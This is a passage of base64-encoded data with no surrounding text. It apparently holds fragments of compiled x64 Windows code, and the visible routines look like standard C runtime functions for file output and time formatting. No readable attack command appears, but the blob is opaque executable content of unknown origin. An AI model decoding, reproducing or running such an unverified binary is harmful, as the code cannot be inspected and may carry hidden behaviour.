ZsAFIi1wkMEiDxCBfw2aJTCQIVUiL7EiD7FC4//8AAGY7yA+EowAAAEiNTeDoXOD+/0iLRehMi5A4AQAATYXSdRMPt1UQjUK/ZoP4GXdpZoPCIOtjD7dNELoAAQAAZjvKcym6AQAAAOjJHAAAhcB1Bg+3VRDrQUiLRegPt1UQSIuIEAEAAA+2FBHrLEG5AQAAAEiNRSBEiUwkKEyNRRBJi8pIiUQkIOi6NwAAD7dVEIXAdAQPt1UggH34AHQLSItN4IOhqAMAAP0Pt8JIg8RQXcNAU0iD7CBMi8JIi9lIhcl0DjPSSI1C4Ej380k7wHJDSQ+v2LgBAAAASIXbSA9E2OsV6BpZAACFwHQoSIvL6MJQAACFwHQcSIsNC3MGAEyLw7oIAAAA/xVt2QAASIXAdNHrDegV4P//xwAMAAAAM8BIg8QgW8PMzMxIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgRIvxTI09quL2/02L4UmL6EyL6kuLjPfwjA8ATIsVohIGAEiDz/9Bi8JJi9JIM9GD4D+KyEjTykg71w+EJQEAAEiF0nQISIvC6RoBAABNO8EPhKMAAACLdQBJi5z3UIwPAEiF23QHSDvfdHrrc02LvPcgJgoAM9JJi89BuAAIAAD/FfbWAABIi9hIhcB1IP8VeNsAAIP4V3UTRTPAM9JJi8//FdXWAABIi9jrAjPbTI09/+H2/0iF23UNSIvHSYeE91CMDwDrHkiLw0mHhPdQjA8ASIXAdAlIi8v/FcTXAABIhdt1VUiDxQRJO+wPhWT///9MixXLEQYAM9tIhdt0SkmL1UiLy/8VoNcAAEiFwHQyTIsFrBEGALpAAAAAQYvIg+E/K9GKykiL0EjTykkz0EuHlPfwjA8A6y1MixWDEQYA67hMixV6EQYAQYvCuUAAAACD4D8ryEjTz0kz+kuHvPfwjA8AM8BIi1wkUEiLbCRYSIt0JGBIg8QgQV9BXkFdQVxfw0iLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7FBBi/lJi/CL6kyNDRANAQBMi/FMjQX+DAEASI0V/wwBALkBAAAA6B3+//9Ii9hIhcB0V0iLyP8VHOIAAEiLjCSgAAAARIvPSIuEJIAAAABMi8ZIiUwkQIvVSIuMJJgAAABIiUwkOEiLjCSQAAAASIlMJDCLjCSIAAAAiUwkKEmLzkiJRCQg/9PrMjPSSYvO6KQEAACLyESLz4uEJIgAAABMi8aJRCQoi9VIi4QkgAAAAEiJRCQg/xXc1AAASItcJGBIi2wkaEiLdCRwSIt8JHhIg8RQQV7DzEiJXCQIV0iD7CBIi/lMjQ1MDAEAuQMAAABMjQU4DAEASI0VOQwBAOhE/f//SIvYSIXAdBBIi8j/FUPhAABIi8//0+sG/xXe1AAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgi9lMjQ0NDAEAuQQAAABMjQX5CwEASI0V+gsBAOjt/P//SIv4SIXAdA9Ii8j/FezgAACLy//X6wiLy/8VbtQAAEiLXCQwSIPEIF/DzMzMSIlcJAhXSIPsIIvZTI0NxQsBALkFAAAATI0FsQsBAEiNFbILAQDolfz//0iL+EiFwHQPSIvI/xWU4AAAi8v/1+sIi8v/FSbUAABIi1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIEiL2kyNDX8LAQCL+UiNFXYLAQC5BgAAAEyNBWILAQDoNfz//0iL8EiFwHQSSIvI/xU04AAASIvTi8//1usLSIvTi8//FbjTAABIi1wkMEiLdCQ4SIPEIF/DSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsQEmL+UmL8IvqTI0NQAsBAEyL8UyNBS4LAQBIjRUvCwEAuQkAAADovfv//0iL2EiFwHQ3SIvI/xW83wAASIuMJIAAAABMi89IiUwkMEyLxotMJHiL1YlMJChIi0wkcEiJTCQgSYvO/9PrLDPSSYvO6GQCAACLyEyLz4tEJHhMi8aJRCQoi9VIi0QkcEiJRCQg/xWi1QAASItcJFBIi2wkWEiLdCRgSIt8JGhIg8RAQV7DzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsMEmL+UmL8IvqTI0NjAoBAEyL8UyNBXoKAQBIjRV7CgEAuRAAAADo8fr//0iL2EiFwHQqSIvI/xXw3gAAi0wkaEyLz4lMJChMi8ZIi0wkYIvVSIlMJCBJi87/0+ssM9JJi87opQEAAIvITIvPi0QkaEyLxolEJCiL1UiLRCRgSIlEJCD/FQPVAABIi1wkQEiLbCRISIt0JFBIi3wkWEiDxDBBXsNIiVwkCEiJbCQQSIl0JBhXSIPsIEGL6EyNDfIJAQCL2kyNBeEJAQBIi/lIjRXfCQEAuRQAAADoPfr//0iL8EiFwHQVSIvI/xU83gAARIvFi9NIi8//1usLi9NIi8//FdXRAABIi1wkMEiLbCQ4SIt0JEBIg8QgX8NIi8RIiVgISIloEEiJcBhIiXggQVZIg+xQQYv5SYvwi+pMjQ2YCQEATIvxTI0FhgkBAEiNFYcJAQC5FgAAAOi9+f//SIvYSIXAdFdIi8j/FbzdAABIi4wkoAAAAESLz0iLhCSAAAAATIvGSIlMJECL1UiLjCSYAAAASIlMJDhIi4wkkAAAAEiJTCQwi4wkiAAAAIlMJChJi85IiUQkIP/T6zIz0kmLzuhEAAAAi8hEi8+LhCSIAAAATIvGiUQkKIvVSIuEJIAAAABIiUQkIP8VdNAAAEiLXCRgSItsJGhIi3QkcEiLfCR4SIPEUEFew8xIiVwkCEiJdCQQV0iD7CCL8kyNDdAIAQBIi9lIjRXGCAEAuRgAAABMjQWyCAEA6N34//9Ii/hIhcB0EkiLyP8V3NwAAIvWSIvL/9frCEiLy+ineAAASItcJDBIi3QkOEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIIv6TI0NiAgBAEiL8UiNFX4IAQC5HwAAAEyNBWoIAQDodfj//0iL2EiFwHQjSIvI/xV03AAAi9dIi85Ii8NIi1wkMEiLdCQ4SIPEIF9I/+DoGdL//8xIiXwkCEiLFRgLBgBIjT3xZwYAi8K5QAAAAIPgPyvIM8BI08i5IAAAAEgzwvNIq0iLfCQIsAHDzEiJXCQQV0iD7CCLBbxoBgAz24XAdAiD+AEPlMDrXEyNDS8HAQC5CAAAAEyNBRsHAQBIjRUcBwEA6M/3//9Ii/hIhcB0KEiLyIlcJDD/FcrbAAAz0kiNTCQw/9eD+Hp1DY1Ih7ABhw1haAYA6w24AgAAAIcFVGgGADLASItcJDhIg8QgX8PMzMxAU0iD7CCEyXUvSI0dk2YGAEiLC0iFyXQQSIP5/3QG/xUf0AAASIMjAEiDwwhIjQUQZwYASDvYddiwAUiDxCBbw8zMzEiJXCQIV0iD7DCDZCQgALkIAAAA6CMBAACQuwMAAACJXCQkOx0vYAYAdG5IY/tIiwUrYAYASIsE+EiFwHUC61WLSBTB6Q32wQF0GUiLDQ5gBgBIiwz56D0P//+D+P90BP9EJCBIiwX1XwYASIsM+EiDwTD/Fd/PAABIiw3gXwYASIsM+ejb1v//SIsF0F8GAEiDJPgA/8PrhrkIAAAA6O0AAACLRCQgSItcJEBIg8QwX8PMzEBTSIPsIEiL2YtBFMHoDagBdCeLQRTB6AaoAXQdSItJCOiK1v//8IFjFL/+//8zwEiJQwhIiQOJQxBIg8QgW8NAU0iD7CAz20iNFQ1nBgBFM8BIjQybSI0MyrqgDwAA6LD7//+FwHQR/wX2aAYA/8OD+w1y07AB6wkzyegkAAAAMsBIg8QgW8NIY8FIjQyASI0FxmYGAEiNDMhI/yUT0AAAzMzMQFNIg+wgix20aAYA6x1IjQWjZgYA/8tIjQybSI0MyP8V284AAP8NlWgGAIXbdd+wAUiDxCBbw8xIY8FIjQyASI0FcmYGAEiNDMhI/yWXzwAAzMzMSIlcJAhMiUwkIFdIg+wgSYv5SYvYiwroMHEAAJBIiwNIYwhIi9FIi8FIwfgGTI0FcGAGAIPiP0jB4gZJiwTA9kQQOAF0JOj1cwAASIvI/xXA0AAAM9uFwHUe6BnV//9Ii9j/FVTRAACJA+gp1f//xwAJAAAAg8v/iw/osXEAAIvDSItcJDBIg8QgX8OJTCQISIPsOEhj0YP6/nUN6PfU///HAAkAAADrbIXJeFg7FfFjBgBzUEiLykyNBeVfBgCD4T9Ii8JIwfgGSMHhBkmLBMD2RAg4AXQtSI1EJECJVCRQiVQkWEyNTCRQSI1UJFhIiUQkIEyNRCQgSI1MJEjo/f7//+sT6I7U///HAAkAAADov9D//4PI/0iDxDjDzMzMSIlcJAhVVldBVEFVQVZBV0iL7EiB7IAAAABIiwUzBwYASDPESIlF8Ehj8kiNBVJfBgBMi/5Fi+FJwf8Gg+Y/SMHmBk2L8EyJRdhIi9lNA+BKiwT4SItEMChIiUXQ/xVRywAAM9KJRcxIiRNJi/6JUwhNO/QPg2QBAABEii9MjTUAXwYAZolVwEuLFP6KTDI99sEEdB6KRDI+gOH7iEwyPUG4AgAAAEiNVeCIReBEiG3h60XoeA8AAA+2D7oAgAAAZoUUSHQpSTv8D4PvAAAAQbgCAAAASI1NwEiL1+if1f//g/j/D4T0AAAASP/H6xtBuAEAAABIi9dIjU3A6H/V//+D+P8PhNQAAABIg2QkOABIjUXoSINkJDAATI1FwItNzEG5AQAAAMdEJCgFAAAAM9JIiUQkIEj/x/8Vlc0AAESL8IXAD4SUAAAASItN0EyNTchIg2QkIABIjVXoRIvA/xVXzwAAM9KFwHRri0sIK03YA8+JSwREOXXIcmJBgP0KdTRIi03QjUINSIlUJCBEjUIBSI1VxGaJRcRMjU3I/xUYzwAAM9KFwHQsg33IAXIu/0MI/0MESTv86bb+//+KB0uLDP6IRDE+S4sE/oBMMD0E/0ME6wj/FcDOAACJA0iLw0iLTfBIM8zod7kAAEiLnCTAAAAASIHEgAAAAEFfQV5BXUFcX15dw0iJXCQISIlsJBhWV0FWuFAUAADoFLwAAEgr4EiLBSoFBgBIM8RIiYQkQBQAAEiL2Uxj0kmLwkGL6UjB+AZIjQ04XQYAQYPiP0kD6IMjAEmL8INjBABIiwTBg2MIAEnB4gZOi3QQKEw7xXNvSI18JEBIO/VzJIoGSP/GPAp1Cf9DCMYHDUj/x4gHSP/HSI2EJD8UAABIO/hy10iDZCQgAEiNRCRAK/hMjUwkMESLx0iNVCRASYvO/xX4zQAAhcB0EotEJDABQwQ7x3IPSDv1cpvrCP8VvM0AAIkDSIvDSIuMJEAUAABIM8zob7gAAEyNnCRQFAAASYtbIEmLazBJi+NBXl9ew8zMzEiJXCQISIlsJBhWV0FWuFAUAADoDLsAAEgr4EiLBSIEBgBIM8RIiYQkQBQAAEiL+Uxj0kmLwkGL6UjB+AZIjQ0wXAYAQYPiP0kD6IMnAEmL8INnBABIiwTBg2cIAEnB4gZOi3QQKEw7xQ+DggAAAEiNXCRASDv1czEPtwZIg8YCZoP4CnUQg0cIArkNAAAAZokLSIPDAmaJA0iDwwJIjYQkPhQAAEg72HLKSINkJCAASI1EJEBIK9hMjUwkMEjR+0iNVCRAA9tJi85Ei8P/FdnMAACFwHQSi0QkMAFHBDvDcg9IO/VyiOsI/xWdzAAAiQdIi8dIi4wkQBQAAEgzzOhQtwAATI2cJFAUAABJi1sgSYtrMEmL40FeX17DSIlcJAhIiWwkGFZXQVRBVkFXuHAUAADo7LkAAEgr4EiLBQIDBgBIM8RIiYQkYBQAAExj0kiL2UmLwkWL8UjB+AZIjQ0QWwYAQYPiP00D8EnB4gZNi/hJi/hIiwTBTotkECgzwIMjAEiJQwRNO8YPg88AAABIjUQkUEk7/nMtD7cPSIPHAmaD+Qp1DLoNAAAAZokQSIPAAmaJCEiDwAJIjYwk+AYAAEg7wXLOSINkJDgASI1MJFBIg2QkMABMjUQkUEgrwcdEJChVDQAASI2MJAAHAABI0fhIiUwkIESLyLnp/QAAM9L/FbzJAACL6IXAdEkz9oXAdDNIg2QkIABIjZQkAAcAAIvOTI1MJEBEi8VIA9FJi8xEK8b/FXHLAACFwHQYA3QkQDv1cs2Lx0Erx4lDBEk7/ukz/////xUvywAAiQNIi8NIi4wkYBQAAEgzzOjitQAATI2cJHAUAABJi1swSYtrQEmL40FfQV5BXF9ew8zMSIlcJBBIiXQkGIlMJAhXQVRBVUFWQVdIg+wgRYv4TIviSGPZg/v+dRjois7//4MgAOiizv//xwAJAAAA6ZAAAACFyXh0Ox2ZXQYAc2xIi/NMi/NJwf4GTI0thlkGAIPmP0jB5gZLi0T1AA+2TDA4g+EBdEWLy+gRagAAg8//S4tE9QD2RDA4AXUV6EnO///HAAkAAADoHs7//4MgAOsPRYvHSYvUi8voQAAAAIv4i8vou2oAAIvH6xvo+s3//4MgAOgSzv//xwAJAAAA6EPK//+DyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8NIiVwkIFVWV0FUQVVBVkFXSIvsSIPsYDP/RYv4TGPhSIvyRYXAdQczwOmbAgAASIXSdR/olM3//4k46K3N///HABYAAADo3sn//4PI/+l3AgAATYv0SI0FnFgGAEGD5j9Ni+xJwf0GScHmBkyJbfBKiwzoQopcMTmNQ/88AXcJQYvH99CoAXSrQvZEMTggdA4z0kGLzESNQgLo/m4AAEGLzEiJfeDoamIAAIXAD4QBAQAASI0FP1gGAEqLBOhC9kQwOIAPhOoAAADoztf//0iLiJAAAABIObk4AQAAdRZIjQUTWAYASosE6EI4fDA5D4S/AAAASI0F/VcGAEqLDOhIjVX4SotMMSj/FRLEAACFwA+EnQAAAITbdHv+y4D7AQ+HKwEAACF90E6NJD4z20yL/old1Ek79A+DCQEAAEUPty9BD7fN6FpuAABmQTvFdTODwwKJXdRmQYP9CnUbQb0NAAAAQYvN6DluAABmQTvFdRL/w4ld1P/HSYPHAk07/HML67r/FYfIAACJRdBMi23w6bEAAABFi89IjU3QTIvGQYvU6M33///yDxAAi3gI6ZgAAABIjQU+VwYASosM6EL2RDE4gHRND77LhNt0MoPpAXQZg/kBdXlFi89IjU3QTIvGQYvU6Jv6///rvEWLz0iNTdBMi8ZBi9Too/v//+uoRYvPSI1N0EyLxkGL1Ohr+f//65RKi0wxKEyNTdQhfdAzwEghRCQgRYvHSIvWSIlF1P8V+scAAIXAdQn/FdDHAACJRdCLfdjyDxBF0PIPEUXgSItF4EjB6CCFwHVoi0XghcB0LYP4BXUb6H/L///HAAkAAADoVMv//8cABQAAAOnH/f//i03g6PHK///puv3//0iNBWFWBgBKiwToQvZEMDhAdAmAPhoPhHv9///oO8v//8cAHAAAAOgQy///gyAA6Yb9//+LReQrx0iLnCS4AAAASIPEYEFfQV5BXUFcX15dw8zMzEiJXCQITIlMJCBXSIPsIEmL+UmL2IsK6KBmAACQSIsDSGMISIvRSIvBSMH4BkyNBeBVBgCD4j9IweIGSYsEwPZEEDgBdAnozQAAAIvY6w7otMr//8cACQAAAIPL/4sP6DxnAACLw0iLXCQwSIPEIF/DzMzMiUwkCEiD7DhIY9GD+v51Fehfyv//gyAA6HfK///HAAkAAADrdIXJeFg7FXFZBgBzUEiLykyNBWVVBgCD4T9Ii8JIwfgGSMHhBkmLBMD2RAg4AXQtSI1EJECJVCRQiVQkWEyNTCRQSI1UJFhIiUQkIEyNRCQgSI1MJEjoDf///+sb6O7J//+DIADoBsr//8cACQAAAOg3xv//g8j/SIPEOMPMzMxIiVwkCFdIg+wgSGP5i8/ohGgAAEiD+P91BDPb61dIiwXXVAYAuQIAAACD/wF1CUCEuLgAAAB1Cjv5dR32QHgBdBfoUWgAALkBAAAASIvY6ERoAABIO8N0wYvP6DhoAABIi8j/FZvFAACFwHWt/xWhxQAAi9iLz+hgZwAASIvXTI0FdlQGAIPiP0iLz0jB+QZIweIGSYsMyMZEETgAhdt0DIvL6NjI//+DyP/rAjPASItcJDBIg8QgX8PMzEBTSIPsIEiL2UiDIQC5CAAAAOgV8///kEiNTCQw6H4AAABIiwhIiQtIhcl0GYNhEABIi8FIg2EoAEiDIQBIg2EIAINJGP+5CAAAAOgw8///SIvDSIPEIFvDzMzMSIlMJAhMi9wz0kiJEUmLQwhIiVAISYtDCIlQEEmLQwiDSBj/SYtDCIlQHEmLQwiJUCBJi0MISIlQKEmLQwiHUBTDzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiLPZVRBgBIi/FIYy2DUQYASIPHGEiDxf1IjSzvSDv9D4SUAAAASIsfSIXbdD2LQxTB6A2oAXUtSIvL6AD+/v8PDUsUi0MUi8gPuukN8A+xSxR188HoDfbQqAF1WEiLy+jn/f7/SIPHCOuyulgAAACNSqnojOf//zPJSIkH6B7I//9IiwdIhcB0MINIGP9FM8BIiw+6oA8AAEiDwTDoYu3//0iLH/CBSxQAIAAASIvL6Iv9/v9IiR7rBEiDJgBIi1wkMEiLxkiLdCRASItsJDhIg8QgX8PMzEiLxEiJWAhIiWgQSIlwGFdIg+wwSIv5SIvaM8lIiUjo8g8QQOiLBcVaBgDyDxEHjWkgiU8IiUcEZjkqdQlIg8MCZjkrdPcPtwMz9oP4YXQhg/hydBGD+HcPhTsCAADHBwEDAADrEYk3x0cEAQAAAOsNxwcJAQAAx0cEAgAAAEiDwwJEisZEit5Eis5EitayAWY5Mw+EJQEAAA+3C4P5Uw+PlwAAAA+EggAAACvND4T3AAAAg+kLdEmD6QF0PIPpGHQlg+kKdBeD+QQPhckBAABFhMkPhcQAAACDDxDrVg+6LwfpwQAAAIsHqEAPhawAAACDyEDprQAAAEGyAemcAAAARYTbD4WTAAAAiwdBswGoAg+FhgAAAIPg/oPIAokHi0cEg+D8g8gEiUcE63tFhMl1awkvQbEBQYrR626D6VR0VIPpDnRAg+kBdCmD6Qt0GIP5Bg+FQAEAAIsHqQDAAAB1Ow+66A7rPkWEwHUwD7p3BAvrCkWEwHUkD7pvBAtBsAFBitDrJIsHqQDAAAB1Dg+66A/rEYsHD7rgDHMFQIrW6wgPuugMiQeyAYTSSIvGD5XASI0cQ4TSD4XS/v//RYTSdARIg8MCZjkrdPdFhNJ1EmY5Mw+FvwAAAMZHCAHpxgAAAEG4AwAAAEiNFcD1AABIi8voUK///4XAD4WZAAAASIPDBusESIPDAmY5K3T3ZoM7PQ+FgAAAAEiDwwJmOSt090G4BQAAAEiNFY31AABIi8vozaP//4XAdQpIg8MKD7ovEutKQbgIAAAASI0VevUAAEiLy+iqo///hcB1CkiDwxAPui8R6ydBuAcAAABIjRVn9QAASIvL6Iej//+FwHUYSIPDDg+6LxDrBEiDwwJmOSt09+k4////6ArF///HABYAAADoO8H//0iLXCRASIvHSItsJEhIi3QkUEiDxDBfw8zMzEiLxEiJWAhIiWgQSIlwIFdIg+xQSIvpSYv5SI1I6EGL8OgW/f//M9vyDxAAi0AI8g8RRCQwiUQkODrDdEdEi0QkMEiNTCRwRIvOx0QkIIABAABIi9XoRnIAAIXAdSb/BaRNBgCLRCQ08AlHFItEJHCJXxBIiV8oSIlfCEiJH0iL34lHGEiLbCRoSIvDSItcJGBIi3QkeEiDxFBfw0iD7Cjo787//0iNVCQwSIuIkAAAAEiJTCQwSIvI6GrQ//9Ii0QkMEiLAEiDxCjDzEiJXCQQV0iD7CC4//8AAA+32mY7yHUEM8DrSrgAAQAAZjvIcxBIiwXI+QUAD7fJD7cESOsrM/9miUwkQEyNTCQwZol8JDBIjVQkQI1PAUSLwf8V7boAAIXAdLwPt0QkMA+3yyPBSItcJDhIg8QgX8NIiXQkEEiJfCQYTIl0JCBVSIvsSIHsgAAAAEiLBWP2BQBIM8RIiUXwRIvySGP5SYvQSI1NyOiuwv7/jUcBPQABAAB3EEiLRdBIiwgPtwR56YIAAACL90iNVdDB/ghAD7bO6OI3AAC6AQAAAIXAdBJAiHXARI1KAUCIfcHGRcIA6wtAiH3ARIvKxkXBADPAiVQkMIlF6EyNRcBmiUXsSItF0ItIDEiNReiJTCQoSI1N0EiJRCQg6E5bAACFwHUUOEXgdAtIi0XIg6CoAwAA/TPA6xgPt0XoQSPGgH3gAHQLSItNyIOhqAMAAP1Ii03wSDPM6J6pAABMjZwkgAAAAEmLcxhJi3sgTYtzKEmL413DzEiD7Cjo43AAACUAAwAASIPEKMPMSIlcJAhXSIPsIEiL2kiL+UiFyXUKSIvK6MfC///rWEiF0nUH6HvC///rSkiD+uB3OUyLykyLwesb6Bo7AACFwHQoSIvL6MIyAACFwHQcTIvLTIvHSIsNBVUGADPS/xV9uwAASIXAdNHrDegVwv//xwAMAAAAM8BIi1wkMEiDxCBfw8zMSIlcJAhIiXQkEFdIg+wgRI1KBovyRIvRuJMkSZJB9+lBi8hBi9hBA9HB+gKLwsHoHwPQa8IHRCvIuJMkSZJBK8mDwQf36Y08EUGLysH/AovHwegfA/jogaP//0QPtsAr84HGcwEAALiTJEmS9+64kyRJkkSLywPWRSvIwfoCi8rB6R8D0WvKByvxQY2IbQEAAAPO9+kD0cH6AovCwegfA9BrwgcryEGB+WwBAAB8BYP5AnQcQYH5awEAAHwFg/kDdA5BgflqAQAAfAqD+QR1BYPI/+sNjU7+i8eD+QJ3A41HAUiLXCQwSIt0JDhIg8QgX8PMzEiJXCQYSIlMJAhVVldIi+xIg+xQSYvwSYv5RA+3wkGL0EGD+FoPjlUIAABBuWIAAACD+m4Pj3MEAAAPhDoEAACD6mEPhMsDAACD6gEPhHwDAACD6gEPhCwBAACD6gEPhPsAAACD6gEPhNUAAACD6gJ0coPqAXUIRYvBQYvR67KD6gJ0LIP6Aw+FnQMAAItWEIP6Cw+HgQMAAIpFUPbYGsn20YDhMA++wY1KAenNAAAAi1YcgfptAQAAD4dbAwAAikVQTItNQPbYGsn20YDhMA++wY1KAWaJRCQgugMAAADpcwoAAItGFIlFKAVsBwAAPQ8nAAAPhyADAABEi0Yci1YYi3Uoi87oAf7//4XAdQT/zusEfwL/xo2ObAcAALgfhetR9+m+MAAAAMH6BYvCZol0JCDB6B8D0GvCZCvI6QwKAACLTgyNQf+D+B4Ph8kCAACKRVD22BrS9tKA4iDrG4tODI1B/4P4Hg+HrAIAAIpFUPbYGtL20oDiMA++wmaJRCQg6ccJAABIi0VITI0N5uEAADPbSTvBD4WyAQAAOF1QD4WpAQAAiFwkMI1TYUiJRCQoTIvPSItFQEyLxkiJRCQg6Dr+//+EwHUQ6D2////HABYAAADpUAIAAEiLTUBMjQWT9wAASDkZdB9FD7cIZkWFyXQVSIsHSYPAAmZEiQhIgwcCSIMpAXXhSItFSLpiAAAAiFwkMEyLz0iJRCQoTIvGSIlMJCBIi00g6NH9//+EwHSXSItNQEiNFTr3AABIORl0H0QPtwJmRYXAdBVIiwdIg8ICZkSJAEiDBwJIgykBdeFIi0VIumUAAACIXCQwTIvPSIlEJChMi8ZIiUwkIEiLTSDoeP3//4TAD4Q6////SItNQEiNFd32AABIORl0H0QPtwJmRYXAdBVIiwdIg8ICZkSJAEiDBwJIgykBdeFIi0VIulQAAACIXCQwTIvPSIlEJChMi8ZIiUwkIEiLTSDoG/3//4TAD4Td/v//SItNQEg5GXQmSI0Ve/YAAEQPtwJmRYXAdBVIiwdIg8ICZkSJAEiDBwJIgykBdeG6WQAAAIhcJDBIi0VISIlEJChIiUwkIEiLTSBMi89Mi8bovvz//4TAD4UsAQAA6Xv+//84XVCL00iJRCQoTIvPSItFQA+VwkyLxkiJRCQg6IANAACEwA+EUv7//0iLVUBIjQ319QAASDkadB9ED7cBZkWFwHQVSIsHSIPBAmZEiQBIgwcCSIMqAXXhSItFSEiLTSBIiUQkKEiJVCQgugIAAABMi89Mi8boJw0AAOl0////g34QC3dGSGNOEDPbSItFSEiLlMjQAQAASItNQEg5GQ+EgwAAAEQPtwJmRYXAdHlIiwdIg8ICZkSJAEiDBwJIgykBdeHrYoN+GAZ2IujtvP//xwAWAAAA6B65//8ywEiLnCSAAAAASIPEUF9eXcNIY04YM9tIi0VISIuUyGABAABIi01ASDkZdB9ED7cCZkWFwHQVSIsHSIPCAmZEiQBIgwcCSIMpAXXhsAHrskiLTUBIjRX79AAAM9tIORl06kQPtwJmRYXAdOBIiwdIg8ICZkSJAEiDBwJIgykBdeHryYPqcA+EbwMAAIPqAg+EBQIAAIPqAg+EvgEAAIPqAQ+EdwEAAIPqAg+EbgEAAIPqAQ+ERAEAAIPqAQ+E9gAAAIP6AQ+FNf///+gGdAAAM9tIjU0oiV0o6JxuAACFwA+FCv///zleIHQiSI1N8Ild8OhTbgAAhcAPhfH+//9Ei0UoRANF8ESJRSjrBESLRShBuomIiIhBi8CZi8hBi8IzyivK9+lBi8JEjQwRQcH5BUGLycHpH0QDyUiNDRH0AABB9+lFjRQRQcH6BUGLwsHoH0QD0EFrwjxEK8hIjQX/8wAARYXARIlN8EyLTUBID0jISTkZdBwPtxFmhdJ0FEiLB0iDwQJmiRBIgwcCSYMpAXXkvjAAAABMi8dBi8pmiXQkII1W0ujLCQAAi03wZol0JCDpcAUAAItWFI2CbAcAAD0PJwAAD4ck/v//ikVQ9ti4H4XrURrJ9tGA4TBED77BjYpsBwAA9+nB+gWLwsHoHwPQa8JkK8jpIQUAAEiLRUgz2zhdUIvTSIlEJChIi0VAD5XCSIlEJCDpdv3//4tOGIP5Bg+Hxv3//4XJdQxmQYP4dXUFuQcAAACKRVBMi01A9tga0vbSgOIwD77CugEAAABmiUQkIOnRBAAASItNQEiNFffyAAAz20g5GQ+E2v3//0QPtwJmRYXAD4TM/f//SIsHSIPCAmZEiQBIgwcCSIMpAXXd6bL9//9Mi0VITI0NqdwAAIpFUE07wYhEJDBMi89MiUQkKA+FKwEAAEyLRUC6SQAAAEyJRCQgTIvG6AP5//8z24TAD4TD+v//SItNQEiNFXLyAABIORl0H0QPtwJmRYXAdBVIiwdIg8ICZkSJAEiDBwJIgykBdeGKRVC6TQAAAIhEJDBMi89Ii0VITIvGSIlEJChIiUwkIEiLTSDoofj//4TAD4Rj+v//TItFQEk5GHQjSI0NDfIAAA+3EWaF0nQUSIsHSIPBAmaJEEiDBwJJgygBdeSKRVC6UwAAAEiLTSBMi8+IRCQwSItFSEiJRCQoTIlEJCBMi8boRPj//4TAD4QG+v//TItFQEiNDanxAABJORh0H0QPtwlmRYXJdBVIiwdIg8ECZkSJCEiDBwJJgygBdeG6cAAAAIpFUIhEJDBIi0VISIlEJChMiUQkIOkh+///SItFQLpYAAAASIlEJCDpFfv//4N+CBcPh+v7//+DfggLSItFSH8JSIuIkAIAAOsHSIuImAIAAEiLVUAz20g5Gg+EHvz//0QPtwFmRYXAD4QQ/P//SIsHSIPBAmZEiQBIgwcCSIMqAXXd6fb7//+D+loPhIQGAACD+k0Pj8MDAAAPhKwDAACD6iUPhGUDAACD6hwPhAsDAACD6gEPhLECAACD6gEPhE8CAACD6gEPhHYBAACD6gIPhKQAAACD6gF0SoPqAXQ6g/oBD4VJ+///i04Ig/kXD4ct+///uKuqqir36dH6i8LB6B8D0I0EUsHgAivIuAwAAAAPRMjpXPj//4tOCIP5F+lL+P//i04UiU0ojYFsBwAAPQ8nAAAPh+b6//9Ei0Yci1YYi/HoyvX//4XAdQT/zusEfwX/xol1KItNKL4wAAAAgcFsBwAAZol0JCBMi01AugQAAADp5QEAAIpFULpZAAAAiEQkMEyLxkiLRUhIiUQkKEiLRUBIiUQkIOho9v//M9uEwA+EKPj//0iLTUBIjRXP7wAASDkZdB9ED7cCZkWFwHQVSIsHSIPCAmZEiQBIgwcCSIMpAXXhikVQum0AAACIRCQwTIvPSItFSEyLxkiJRCQoSIlMJCBIi00g6Ab2//+EwA+EyPf//0iLTUBIORl0JkiNFWrvAABED7cCZkWFwHQVSIsHSIPCAmZEiQBIgwcCSIMpAXXhumQAAADpxAAAAIpFULptAAAAiEQkMEyLxkiLRUhIiUQkKEiLRUBIiUQkIOif9f//M9uEwA+EX/f//0iLTUBIjRUa1gAASDkZdB9ED7cCZkWFwHQVSIsHSIPCAmZEiQBIgwcCSIMpAXXhikVQumQAAACIRCQwTIvPSItFSEyLxkiJRCQoSIlMJCBIi00g6D31//+EwA+E//b//0iLTUBIORl0JkiNFbXVAABED7cCZkWFwHQVSIsHSIPCAmZEiQBIgwcCSIMpAXXhunkAAACKRVCIRCQw6Rr4//+LVhSNgmwHAAA9DycAAA+H+/j//4pFUPbYuB+F61EayfbRgOEwRA++wY2KbAcAAPfpi8rB+QWLwcHoHwPIZkSJRCQgTItNQLoCAAAATIvH6EEEAADpEvn//4N+EAsPh6z4//9IY04QM9tIi0VISIuUyDACAABIi01ASDkZD4Tp+P//RA+3AmZFhcAPhNv4//9JiwFIg8ICZkSJAEmDAQJIgykBdd3pwfj//4N+GAYPh1v4//9IY04YM9tIi0VISIuUyJgBAABIi01ASDkZD4SY+P//RA+3AmZFhcAPhIr4//9JiwFIg8ICZkSJAEmDAQJIgykBdd3pcPj//0iLTUBIjRV/7QAAM9tIORkPhFr4//9ED7cCZkWFwA+ETPj//0mLAUiDwgJmRIkASYMBAkiDKQF13eky+P//i04Eg/k7D4Ye9f//6cX3//+D6lIPhEkCAACD6gEPhDYCAACD6gEPhGcBAACD6gEPhOkAAACD6gF0ZoPqAQ+E2wAAAIPqAXQ8g/oBD4WV9///i1YUjYJsBwAAPQ8nAAAPh3H3//+KRVD22BrJ9tGA4TAPvsGNimwHAABmiUQkIOmc/P//SItFSLoCAAAASIlEJChIi0VASIlEJCDp3fb//4tOHESLwYtGGIlFKItGFIt1KIvWiU34i8iJRfDoB/L//4XAdTGLXfCNS//o1JX///bYjUv/ugcAAABFG8ArdfhB99gD1kGBwG0BAADo1/H//0SL0OsMhcBBugEAAABED0/QikVQ9tgayfbRgOEwD77BQYvKZolEJCDp7P3//4tOGIP5Bg+HrPb//zPbZkGD+Fd1C4XJdQWNSwbrAv/JRItGHEGB+G0BAAAPh4f2//9EO8F8JLiTJEmSQffoQQPQwfoCi8LB6B8D0GvCB4vaRCvARDvBfAL/w4pFUIvL9tga0vbSgOIwD77CZolEJCDpd/3//4pFULpIAAAATItFQIhEJDBIi0VISIlEJChMiUQkIEyLxugD8v//M9uEwA+Ew/P//0iLTUBIjRVy6wAASDkZdB9ED7cCZkWFwHQVSIsHSI